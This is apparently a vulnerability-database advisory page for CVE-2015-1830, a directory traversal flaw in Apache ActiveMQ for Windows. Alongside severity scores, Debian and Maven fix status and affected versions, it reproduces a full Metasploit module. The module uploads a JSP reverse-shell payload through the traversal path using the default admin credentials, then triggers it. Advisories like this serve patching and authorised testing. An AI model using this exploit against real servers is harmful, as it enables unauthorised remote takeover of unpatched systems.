CVE-2015-1830

medium
Published 2015-08-19 ยท Modified 2024-12-07
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
6.0

Description

Improper Limitation of a Pathname to a Restricted Directory in Apache ActiveMQ

Predictions

Exploit likelihood
55%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-40857 remote windows verified
David Jorm ยท 2015-08-17

Apache ActiveMQ 5.11.1/5.13.2 - Directory Traversal / Command Execution

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EDB-48181 remote windows verified ruby ยท 5 KB
Metasploit ยท 2020-03-09

Apache ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload',
      'Description'    => %q{
        This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache
        ActiveMQ 5.x before 5.11.2 for Windows.

        The module tries to upload a JSP payload to the /admin directory via the traversal
        path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ
        credentials admin:admin (or other credentials provided by the user). It then issues
        an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the
        payload and obtain a shell.
      },
      'Author'          =>
        [
          'David Jorm',     # Discovery and exploit
          'Erik Wynter'     # @wyntererik - Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2015-1830' ],
          [ 'EDB', '40857'],
          [ 'URL', 'https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt' ]
        ],
      'Privileged'     => false,
      'Platform'    => %w{ win },
      'Targets'     =>
        [
          [ 'Windows Java',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'win'
            }
          ],
        ],
      'DisclosureDate' => '2015-08-19',
      'License'        => MSF_LICENSE,
      'DefaultOptions'  => {
        'RPORT' => 8161,
        'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
        },
      'DefaultTarget'  => 0))

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
      OptString.new('PATH',      [true, 'Traversal path', '/fileserver/..\\admin\\']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])
    ])
  end

  def check
    print_status("Running check...")
    testfile = Rex::Text::rand_text_alpha(10)
    testcontent = Rex::Text::rand_text_alpha(10)

    send_request_cgi({
      'uri'       => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
      'headers'     => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        },
      'method'    => 'PUT',
      'data'      => "<% out.println(\"#{testcontent}\");%>"
    })

    res1 = send_request_cgi({
      'uri'       => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
      'headers'     => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        },
      'method'    => 'GET'
    })

    if res1 && res1.body.include?(testcontent)
      send_request_cgi(
        opts = {
          'uri'       => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
          'headers'     => {
            'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
            },
          'method'    => 'DELETE'
        },
        timeout = 1
      )
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Uploading payload...")
    testfile = Rex::Text::rand_text_alpha(10)
    vprint_status("If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp") #This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails.

    send_request_cgi({
      'uri'       => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
      'headers'     => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        },
      'method'    => 'PUT',
      'data'      => payload.encoded
    })

    print_status("Payload sent. Attempting to execute the payload.")
    res = send_request_cgi({
      'uri'       => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
      'headers'     => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      },
      'method'    => 'GET'
    })
    if res && res.code == 200
      print_good("Payload executed!")
    else
      fail_with(Failure::PayloadFailed, "Failed to execute the payload")
    end
  end
end

Metasploit modules

Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload
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OS impact

debian Debian Fixed 4 releases
VersionStatusFixed in
trixie Fixed 0
sid Fixed 0
bullseye Fixed 0
bookworm Fixed 0

Package impact

EcosystemPackageVulnerableFixed
java Mavenorg.apache.activemq:activemq-client>=5.0.0,<5.11.25.11.2

Application impact

VendorProductVersionsFixed
apache apacheactivemq5.0.0
apache apacheactivemq5.1.0
apache apacheactivemq5.2.0
apache apacheactivemq5.3.0
apache apacheactivemq5.3.1
apache apacheactivemq5.3.2
apache apacheactivemq5.4.0
apache apacheactivemq5.4.1
apache apacheactivemq5.4.2
apache apacheactivemq5.4.3
apache apacheactivemq5.5.0
apache apacheactivemq5.5.1
apache apacheactivemq5.6.0
apache apacheactivemq5.7.0
apache apacheactivemq5.8.0
apache apacheactivemq5.9.0
apache apacheactivemq5.9.1
apache apacheactivemq5.10.0
apache apacheactivemq5.10.1
apache apacheactivemq5.10.2
apache apacheactivemq5.11.0
apache apacheactivemq5.11.1

References

CWEs

CWE-22

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